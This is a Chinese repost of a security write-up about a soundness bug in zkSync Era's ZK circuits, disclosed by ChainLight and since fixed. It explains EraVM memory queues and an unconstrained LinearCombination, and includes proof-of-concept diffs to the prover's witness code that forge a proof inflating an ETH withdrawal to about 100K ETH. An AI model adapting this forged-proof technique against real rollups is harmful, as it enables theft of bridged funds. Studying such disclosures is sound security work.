ChainLight zkSync Era漏洞揭秘

news2024/10/6 20:32:50

1. 引言

在这里插入图片描述
ChainLight研究人员于2023年9月15日,发现了zkSync Era主网的ZK电路的一个soundness bug,并于2023年9月17日,向Matter Labs团队报告了该问题。Matter Labs团队修复了该问题,并奖励了ChainLight团队5万USDC——为首个zkSync Era的bug bounty。

ChainLight以审计闻名,但其也开发ZK赋能的trustless historical Ethereum state access协议——Relic Protocol。其ZK电路也是基于Matter Labs的电路库的,之前遇到过使用LinearCombination而未约束的类似问题,因此在review zkSync Era电路时,首先关注的是这种类型的bug。

相应的POC原型代码见:

  • https://github.com/chainlight-io/zksync-era-write-query-poc/tree/main(Solidity)

zkSync Era主网的ZK电路的这个soundness bug:

  • 使得某恶意prover可为无效执行的区块生成“proofs”,且L1上的verifier合约将接受该proof。

当前rollup仍处于早期不成熟阶段,除依赖于fraud proof或validity proof之外,还会额外引入一些training wheels(通常为多签),确保当有异常情况或bug出现时,可人为介入保证用户资金安全。

更多audit信息可参看:

  • zkSync Era audit details

2. EraVM

zkSync Era为Matter Labs团队开发的type-4 zkEVM,以下简称为EraVM。
在这里插入图片描述
EraVM:

  • EraVM为基于寄存器的,而EVM是基于stack的。某些情况下,EraVM仍然使用stack当做临时存储,如当其run out of registers时,但大多数opcodes将以寄存器作为运算对象。
  • EraVM有2个heap:heap和aux heap,可用作临时内存,并在合约间传输数据。为模拟EVM的calldatareturndata语义,EraVM会明确跟踪每个256-bit value是否为指向另一heap的指针,将指针称为“fat pointer”,并对fat pointers如何在合约间传输做了强化规则。
  • 合约内调用没有value。因此其无法直接转账ETH.

为尽可能与EVM语义匹配,EraVM使用了一组运行在“kernel mode”下的“system contracts”,并有权指向特权指令。如,由于calls无法原生转账ETH,ETH balance跟踪和转账由名为L2EthToken的系统合约处理。为在做call时同时转账ETH,需调用MsgValueSimulator系统合约——其具有内核特权来执行ETH转账,然后执行a “mimic” call,给调用者的体验与直接call是一样的。

zkSync Era软件栈中使用了多个EraVM实现:

  • zk_evm repo:为供sequencer和其它节点使用的out-of-circuit实现。prover也会使用该实现了创建详细的execution trace——用作电路的“witness” data。
  • sync_vm repo:为ZK-circuit实现,用于生成实际待证明和在以太坊上待验证的约束。

2.1 EraVM zk-Circuits

EraVM电路非常复杂,为整个网络背后的核心技术。由于其复杂性,本文仅介绍与所发现的soundness bug相关的少量电路,更多EraVM电路知识可参看文档:

  • https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md

由于任意zk-Circuit生成固定数量的约束,任意计算量的证明 需要 使用递归电路,以验证其它电路的proofs。此外,会根据责任拆分成多个电路,以约束计算的不同部分。最终,所有proofs聚合为单个proof,在以太坊上verifier合约中验证。

整个zkSync EraVM电路架构图如下:【源自https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md】
在这里插入图片描述
本文重点关注其中的2种电路:

  • 1)Main VM:约束所执行的一系列指令、基础指令(如arithmetics指令)的输入输出,并生成部分约束的结果队列——供其它电路后续进一步约束。
  • 2)RAM Permutation:验证Main VM电路生成的"memory queue(一组内存操作)"是self-consistent的。

2.2 Memory queue

基于Main VM电路和RAM Permutation电路,所发现的soundness bug与内存操作相关。

首先了解下内存的读写是如何被约束的。

由于内存可被其它电路做写入操作,如de-commitment和Keccak哈希,Main VM电路无法自己来约束内存的读操作。相反,任何时间,其都可以从内存读写数据,并将相应的操作附加到memory queue中。

该memory queue会对一系列MemoryQuery对象进行commit,以确定如下4件事情:

  • 1)(相对于其它指令),该访问发生于何时?
  • 2)访问了哪个内存位置?
  • 3)该访问是读还是写?
  • 4)读写的内容?
pub struct MemoryQuery<E: Engine> {
  pub timestamp: UInt32<E>,
  pub memory_page: UInt32<E>,
  pub memory_index: UInt32<E>,
  pub rw_flag: Boolean,
  pub value: UInt256<E>,
  pub value_is_ptr: Boolean,
}

使用Memory Queue,通过约束 source register value置于某(具有目标内存位置的)“write” MemoryQuery中 并附加到该Memory queue中,Main VM电路可处理“store”(内存写)指令。

Main VM电路处理内存读指令将更加复杂,因为Main VM电路自己并不知道特定地址所存在的值(因其它电路也可修改内存)。因此,为处理内存读指令,Main VM电路需加载a witness value到该寄存器中,并附加到Memory Queue中一个(具有该claimed value的)“read” MemoryQuery对象。

当所有内存操作由各种电路commit之后,RAM Permutation电路会检查这些内存操作的一致性。RAM Permutation电路以2个memory queues为输入:

  • 1)源自Main VM电路(和其它内存访问电路)的committed queue。
  • 2)根据(memory_page, memory_index, timestamp) 排序后的、约束为包含相同MemoryQuery对象集合的witness “sorted” queue。

通过对这些内存访问做如上排序,RAM Permutation电路可仅遍历该memory queue一次,并比较相邻元素,来检查内存一致性。相应的伪代码为:

if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) {
  // if cur accesses the same location as the previous, it must either be a write
  // OR have the same value as the previous access
  assert!(cur.rw_flag || cur.value == prev.value);
} else {
  // if cur accesses a new location, it must either be a write OR read the zero value
  assert!(cur.rw_flag || cur.value == 0);
}

当然,生成这些约束的实际代码是nontrivial的。如,可使用permutation argument来检查committed和sorted queues包含的是相同的元素。

3. bug细节

至此,已对本bug细节提供了足够背景。与很多其它bug类似,魔鬼在实际代码实现细节中。

第一个重要实现细节在于:

  • 上面的MemoryQuery结构体实际上是简化版的实际queue包含的内容,实际实现为RawMemoryQuery形式:
    pub struct RawMemoryQuery<E: Engine> {
      pub timestamp: UInt32<E>,
      pub memory_page: UInt32<E>,
      pub memory_index: UInt32<E>,
      pub rw_flag: Boolean,
      pub value_residual: UInt64<E>,
      pub value: Num<E>, //`MemoryQuery`结构体中该字段为UInt256<E>
      pub value_is_ptr: Boolean,
    }
    
    主要不同之处在于:
    • 之前的MemoryQuery结构体中value字段为UInt256<E>类型,而RawMemoryQuery中将其切分为2个字段——UInt64<E>类型和Num<E>类型。这种切分转换的原因在于,电路中所使用的曲线为BN254,其单个域元素仅可 可靠地存储253个bits。
      事实上,UInt256<E>类型内部存储为4个UInt64<E>类型的值——每个在其自己的Num<E>类型中。
      RawMemoryQuery结构体中,value字段存储的是该值的低192 bits,而value_residual字段存储的为高64字段。出于效率原因,RawMemoryQuery结构体在附加到memory queue之前,最终会编码为2个UInt64<E>类型的值:
    impl<E: Engine> RawMemoryQuery<E> {
      pub fn pack<CS: ConstraintSystem<E>>(
        &self,
        cs: &mut CS,
      ) -> Result<[Num<E>; 2], SynthesisError> {
        let shifts = compute_shifts::<E::Fr>();
        let el0 = self.value;
        let mut shift = 0;
        let mut lc = LinearCombination::zero();
        		
        lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]);
        shift += 64;
        		
        // NOTE: we pack is as it would be compatible with PackedMemoryQuery later on
        lc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]);
        shift += 32;
        lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]);
        shift += 32;
        		
        // ------------
        lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]);
        shift += 32;
        lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]);
        shift += 1;
        lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]);
        shift += 1;
        		
        assert!(shift <= E::Fr::CAPACITY as usize);
        	
        let el1 = lc.into_num(cs)?;
        // dbg!(el0.get_value());
        // dbg!(el1.get_value());
        		
        Ok([el0, el1])   	
      }
    }
    

以上代码中:

  • cs:表示约束系统,其贯穿在整个电路代码中,用于累加约束。通常,仅当函数以cs为参数时,其才可以生成约束。
  • pack:返回[el0, el1]。其中el0源自self.valueel1为将剩余的元素pack到单个Num<E>中。
  • compute_shifts::<E::Fr>():对于 0 <= i <= 253,计算 (1 << i) 作为常量域元素。该函数不会生成任何电路约束。
  • el1:通过使用LinearCombination来构建,其格式为 a_0 v_0 + a_1 v_1 + … + a_n v_n,其中a_i 为常量域元素,v_i为电路变量。这些shifts用于将RawMemoryQuery字段pack到不重叠的253-bit value区域中。该linear combination的结构存储在lc.into_num(cs)变量中。

以上代码将RawMemoryQuery pack为2个域元素,看起来是sound的,接下来看RawMemoryQuery是如何构建的。当处理内存写指令时,其构建MemoryWriteQuery 然后将其转换为 RawMemoryQuery

let MemoryLocation { page, index } = mem_loc;

let memory_key = MemoryKey {
 timestamp: mem_timestamp_write,
 memory_page: page,
 memory_index: index,
};

let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;

...

let raw_query = write_query.into_raw_query(cs)?;

...

MemoryWriteQuery的工作原理呢?在以上代码中,value为Register<E>类型,其将256-bit value存储为2个UInt128<E>

pub struct Register<E: Engine> {
  pub inner: [UInt128<E>; 2],
  pub is_ptr: Boolean,
}

当构建MemoryWriteQuery时,该寄存器值使用另一个LinearCombination进一步切分为3个值 (lowest_128, u64_word_2, u64_word_3)

pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>(
  cs: &mut CS,
  key: MemoryKey<E>,
  register_output: Register<E>,
) -> Result<Self, SynthesisError> {

  let [lowest_128, highest_128] = register_output.inner;

  let tmp = highest_128
    .get_value()
    .map(|el| (el as u64, (el >> 64) as u64));
   
  let (u64_word_2, u64_word_3) = match tmp {
    Some((a, b)) => (Some(a), Some(b)),
    _ => (None, None),
  };

  let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
  let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;
  let shifts = compute_shifts::<E::Fr>();
  let mut minus_one = E::Fr::one();
   
  minus_one.negate();
  
  let mut lc = LinearCombination::zero();

  lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
  lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
  lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
  
  let MemoryKey {
    timestamp,
    memory_page,
    memory_index,
  } = key;

  let new = Self {
    timestamp,
    memory_page,
    memory_index,
    lowest_128,
    u64_word_2,
    u64_word_3,
    value_is_ptr: register_output.is_ptr,
  };
  Ok(new)
}

MemoryWriteQuery::into_raw_query会将u64_word_3存储在value_residual中,同时将lowest_128u64_word_2 pack到value字段中:

pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>(
  &self,
  cs: &mut CS,
) -> Result<RawMemoryQuery<E>, SynthesisError> {
  let shifts = compute_shifts::<E::Fr>();
  let mut lc = LinearCombination::zero();
  
  lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]);
  lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]);
  
  let value = lc.into_num(cs)?;
  
  let new = RawMemoryQuery {
    timestamp: self.timestamp,
    memory_page: self.memory_page,
    memory_index: self.memory_index,
    rw_flag: Boolean::constant(true)
    value_residual: self.u64_word_3,
    value,
    value_is_ptr: self.value_is_ptr,
  };
  
  Ok(new)
}

因此,bug在哪呢?
非常细微,但注意约束仅可由 以cs为参数的函数生成。再看from_key_and_value_witness代码:

let mut lc = LinearCombination::zero();

lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);

不同于其它使用LinearCombination的代码,该代码实际永远不会通过lc生成任何约束。基于这些系数,其意图是约束该lc值为0,但为生成这样的约束,必须:

  • 要么调用lc.enforce_zero(cs)
  • 要么调用lc.into_num(cs),然后进一步约束其结果值。

因此,生成的MemoryWriteQuery结果中的高128位是未约束的。这意味着恶意prover可在这些bits中放置任意值,且verifier将接受该proof是有效的。在正确约束的电路中,这些bits应约束为准确等于源自Register<E>的bits。

4. bug利用细节

该bug使得prover可任意修改(通过store指令)存储在内存中的任意值的高128位,而不改变该proof的有效性。虽然这可能会以无数方式被滥用,但一个特别容易的目标是L2EthToken系统合约。
以下代码为从zkSync Era中取回solidity:

/// @notice Initiate the ETH withdrawal, funds will be available to claim on L1 `finalizeEthWithdrawal` method.
/// @param _l1Receiver The address on L1 to receive the funds.
function withdraw(address _l1Receiver) external payable override {
  uint256 amount = _burnMsgValue();

  // Send the L2 log, a user could use it as proof of the withdrawal
  bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);
  L1_MESSENGER_CONTRACT.sendToL1(message);

  emit Withdrawal(msg.sender, _l1Receiver, amount);
}

/// @dev Get the message to be sent to L1 to initiate a withdrawal.
function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {
  return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);
}

该方法在发送L2->L1证明该取款操作之前,会burn msg.value数量的ETH。此处的目的是在L2中burn少量的ETH,而创建的取款消息中具有大得多的_amount字段。注意,_getL1WithdrawMessage helper函数将取款消息编码为内存字节数组。该函数编译为如下EraVM汇编代码:

...

add @CPI0_20[0], r0, r2 // load the function selector into `r2`
ld.1    64, r1          // load the current free memory pointer into `r1`
add 32, r1, r3
st.1    r3, r2          // store function selector into memory at `r1+32`
shl.s   96, r4, r2
add 36, r1, r3
st.1    r3, r2          // store `_to` parameter into memory at `r1+36`
add 56, r1, r2
st.1    r2, r5          // store `_amount` parameter into memory at `r1+56`
add 56, r0, r2
st.1    r1, r2          // store `56` into memory at `r1` (length field)

...

每个st.1指令存储了一个寄存器值到heap中指定的偏移位置。而这些指令支持存储到地址的非对齐方式,其不要求是32的倍数,EraVM将未对齐的stores转换为2个对齐的MemoryWriteQuery。因此,但存储_amount参数时,会创建2个aligned write queries:

{
  memory_page: CUR_HEAP_PAGE,
  memory_index: (r1 + 56) // 32,
  value: (uint256(_to) << 64) | (_amount >> 192)
},
{
  memory_page: CUR_HEAP_PAGE,
  memory_index: (r1 + 56) // 32 + 1,
  value: (_amount << 64)
}

此处的目的是改变以上第二个write query的值,以增加取款消息中所认证的ether数量。为此,在每个EraVM实现中修改负责处理write queries的代码。相应的修改逻辑为:

  • 1)检查待写入的_amount值是否匹配某些magic值,如0x1371337137~.00002 ETH。
  • 2)若匹配,则修改(misaligned write)高128bit值,使得_amount为某huge value,如0x152d0000133713371337~100K ETH。

相应的zk_evm repo修改为:

diff --git a/src/opcodes/execution/uma.rs b/src/opcodes/execution/uma.rs
index 276c02b..7d2f0d5 100644

- -- a/src/opcodes/execution/uma.rs
+++ b/src/opcodes/execution/uma.rs
@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
  (word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8);
  // add highest bytes into lowest for overwriting
  new_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));
+
+                // see if we're writing 0x1337133713370000000000000000
+                if new_word_0_value.0[1] == 0x133713371337 {
+                    // if so, instead write 0x152d00001337133713370000000000000000
+                    new_word_0_value.0[2] = 0x152d;
+                }
+
  // we need low bytes of old word and place low bytes of src1 into highest
  // cleanup highest bytes
  let mut new_word_1_value =

相应的sync_vm repo修改为:

diff --git a/src/vm/vm_cycle/memory_view/write_query.rs b/src/vm/vm_cycle/memory_view/write_query.rs
index cbb4172..0b09ecd 100644

- -- a/src/vm/vm_cycle/memory_view/write_query.rs
+++ b/src/vm/vm_cycle/memory_view/write_query.rs
@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> {
  _ => (None, None),
};
+        let u64_word_2 = if let Some(0x1337133713370000000000000000_u128) = lowest_128.get_value() {
+            Some(0x152d)
+        } else {
+            u64_word_2
+        };
// we do not need to range check everything, only N-1 ut of N elements in LC
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;

需注意,仅需修改分配给变量的witness值,而并不修改电路所生成的约束。

通过在后端完成以上修改之后,sequencer/prover现在可处理具有magic value 0x133713371337 wei (~.00002 ETH) 的区块,并输出proven batch——其可证实接收方取款额为0x152d0000133713371337 wei (~100K ETH)。zkSync Era合约将接受该proof,然后攻击者可取光其bridge中的100K个ETH。

5. bug影响分析

考虑到当前的安全层,该bug很难由Matter Labs之外的人利用。对于外部人员来说,可能的攻击场景为:

  • 1)通过注入恶意代码或盗取zkSync Era validator私钥,使zkSync Era后端compromise。
  • 2)执行如上“bug利用细节”流程。
  • 3)等待21小时的execution delay,并期望在取走盗用资金之前,Matter Labs团队未冻结该协议。

由此可知,以上21小时的execution delay,使得实际利用该bug非常难。但是,随着未来去中心化的推进,这样的攻击成功概率将增加,因为到时没有admin团队来直接管理该协议。

因此,让ZK-circuits安全来赋能L2,是以太坊长期扩容里程碑的关键部分。

参考资料

[1] 2023年11月ChainLight博客 Patch Thursday — Uncovering a ZK-EVM Soundness Bug in zkSync Era

zkSync系列博客

  • zkSync 概览
  • zkSync 基本原理
  • zkSync 代码解析
  • zkSync的ZK Stack:Hyperchains和Hyperbridges
  • Boojum:zkSync的高性能去中心化STARK证明系统

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1234397.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用Auth Analyzer插件批量测试接口越权,安全测试快人一步!

随着信息化技术的不断发展&#xff0c;软件安全成了软件行业的重大挑战&#xff0c;因此安全测试也成为了测试人员必备的技能之一。 沐沐在安全测试过程中较为常见的就是接口越权漏洞&#xff0c;在尝试过多种工具进行越权漏洞测试后&#xff0c;最终找到了个人认为最便捷最有…

ModBus TCP/RTU 报文解析

Modbus Tcp https://gitee.com/szwzhsz/Modbus-TCP-client-server-DotNetty.?_fromgitee_search 固定协议格式 事务标识(2byte)&#xff1a;00 00&#xff0c;可变(递增) 协议标识(2byte)&#xff1a;00 00&#xff0c;固定 长度(2byte)&#xff1a;00 06&#xff0c;可变 单…

【GUI】-- 10 贪吃蛇小游戏之静态面板绘制

GUI编程 04 贪吃蛇小游戏 4.1 第一步&#xff1a;先绘制一个静态的面板 首先&#xff0c;需要新建两个类&#xff0c;一个StartGame类作为游戏的主启动类&#xff1b;一个GamePanel类作为游戏的面板类。此外&#xff0c;再新建一个Data类作为数据中心(存放了小蛇各部分图像的…

目标文件(ELF格式)

1.linux中有三类目标文件 **&#xff08;1&#xff09;可重定位目标文件&#xff08;.o或者.a&#xff09;&#xff1a;**包含二进制代码和数据&#xff0c;其形式可以和其他目标文件进行合并&#xff0c;创建一个可执行目标文件。&#xff08;.a文件是由很多个.o文件的集合&a…

解决uncompyle6反编译报错KeyError

报错内容&#xff1a;KeyError&#xff1a;3.11.0 &#xff08;这个是我自己的Python版本号&#xff09; 主要原因就是你的Python版本没在它库文件支持的版本里&#xff0c;我们需要进行手动添加即可。 首先找到文件&#xff1a;magics.py 我的是在这个路径下&#xff1a;D:\…

《QT从基础到进阶·三十六》QWidget实现收缩栏的效果

功能&#xff1a; 1、可以在收缩栏插件中添加界面 2、可以把界面展开或收缩 3、可以用鼠标拖动界面改变界面的排放顺序 源码放在最下方 1、可以在收缩栏插件中添加界面 virtual void addWidget(QWidget* widget, const QString& label, const QIcon& icon QIcon())…

基于单片机加热炉多参数检测和PID炉温系统

**单片机设计介绍&#xff0c; 基于单片机加热炉多参数检测和PID炉温系统 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的公交安全预警系统可以被设计成能够实时监测公交车辆的行驶状态&#xff0c;并在发生异常情况…

华为云IoT与OpenHarmony深度协同,加速设备上鸿即上云【云驻共创】

本次专题论坛探讨了华为云IoT与Open Harmony的深度协同、边缘屏蔽硬件差异、实现智慧隧道全方位智能化管理&#xff0c;以及华为云与Open Harmony生态的合作。同时也介绍了华为云物联网卡平台、HTTP2协议以及华为物联网在交通领域的应用。 一&#xff0e;华为云IoT与Open Harm…

了解一下公网IP和域名的区别与联系

​  公网IP和域名是互联网中两个重要的概念&#xff0c;它们在网络通信和网站访问中起着不同的作用。 我们来了解一下公网IP。公网IP是指在全球范围内唯一的IP地址&#xff0c;用于标识互联网上的设备。每个设备连接到互联网时都会被分配一个公网IP地址&#xff0c;这个地址可…

手把手设计C语言版循环队列(力扣622:设计循环队列)

文章目录 前言描述分析力扣AC代码 力扣&#xff1a; 622.设计循环队列 前言 队列会出现“假溢出”现象&#xff0c;即队列的空间有限&#xff0c;队列是在头和尾进行操作的&#xff0c;当元素个数已经达到最大个数时&#xff0c;队尾已经在空间的最后面了&#xff0c;但是对头…

北邮22级信通院数电:Verilog-FPGA(0)怎么使用modelsim进行仿真?modelsim仿真教程一份请签收~

北邮22信通一枚~ 跟随课程进度更新北邮信通院数字系统设计的笔记、代码和文章 持续关注作者 迎接数电实验学习~ 获取更多文章&#xff0c;请访问专栏&#xff1a; 北邮22级信通院数电实验_青山如墨雨如画的博客-CSDN博客 最近很多uu问我怎么用quartus连接的modelsim软件进…

【Ubuntu】Ubuntu arm64 部署 Blazor Server 应用

部署步骤 发布安装运行环境&#xff1a;dotnet-sdk&#xff08;必装&#xff09;、aspnetcore-runtime、dotnet-runtime安装证书设置环境变量&#xff1a;临时变量、当前用户永久变量、所有用户的永久变量运行&#xff1a;终端运行、后台运行 基本情况 开发系统环境 系统&am…

oepnpnp - 自己出图做开口扳手

文章目录 oepnpnp - 自己出图做开口扳手概述笔记做好的一套扳手实拍美图工程图END oepnpnp - 自己出图做开口扳手 概述 我的openpnp设备顶部相机安装支架, 由于结构限制, 螺柱的安装位置和机械挂壁的距离太近了. 导致拧紧(手工或者工具)很困难. 也不能重新做相机支架, 因为将…

Ubuntu22.04 交叉编译GCC13.2.0 for Rv1126

一、安装Ubuntu22.04 sudo apt install vim net-tools openssh-server 二、安装必要项 sudo apt update sudo apt upgrade sudo apt install build-essential gawk git texinfo bison flex 三、下载必备软件包 1.glibc https://ftp.gnu.org/gnu/glibc/glibc-2.38.tar.gz…

通明智云宣布完成数千万元A+轮融资, 引领云原生与信创两翼齐飞的应用交付解决方案

近日&#xff0c;通明智云&#xff08;北京&#xff09;科技有限公司&#xff08;简称&#xff1a;通明智云&#xff09;宣布完成数千万元A轮融资&#xff0c;由全聚合与信公投资联合投资&#xff0c;明论资本担任本轮融资独家财务顾问。本轮融资资金将主要用于NJet云原生应用引…

ky10 server x86 安装、更新openssl3.1.4(在线编译安装、离线安装)

查看openssl版本 openssl version 离线编译安装升级 #!/bin/shOPENSSLVER3.1.4OPENSSL_Vopenssl versionecho "当前OpenSSL 版本 ${OPENSSL_V}" #------------------------------------------------ #wget https://www.openssl.org/source/openssl-3.1.4.tar.gzech…

第四代可燃气体监测仪:可燃气体监测仪效果有哪些?

在城市之中一旦发生燃气事故&#xff0c;往往会为社会公共安全和公众利益带来极大的危害&#xff0c;扰乱社会运行的稳定秩序&#xff0c;威胁着城市生命线的运行。因此对于城市燃气事故的预防和应对工作&#xff0c;必须得到充分的重视和关注。城市燃气事故的预防工作&#xf…

redis高可用---持久化

redis高可用 在集群当中有一个非常重要的指标&#xff0c;提供正常服务的时间的百分比(365天) 99.9%&#xff0c;redis高可用含义更广泛&#xff0c;支持服务是指标之一&#xff0c;数据容量扩展&#xff0c;数局的安全性。&#xff08;容量、安全性&#xff09; redis中实现高…

竞赛 题目:基于深度学习的手势识别实现

文章目录 1 前言2 项目背景3 任务描述4 环境搭配5 项目实现5.1 准备数据5.2 构建网络5.3 开始训练5.4 模型评估 6 识别效果7 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学习的手势识别实现 该项目较为新颖&#xff0c;适合作为竞赛课题…

【设计模式】行为型设计模式

行为型设计模式 文章目录 行为型设计模式一、概述二、责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;三、命令模式&#xff08;Command Pattern&#xff09;四、解释器模式&#xff08;Interpreter Pattern&#xff09;五、迭代器模式&#xff08;Iterato…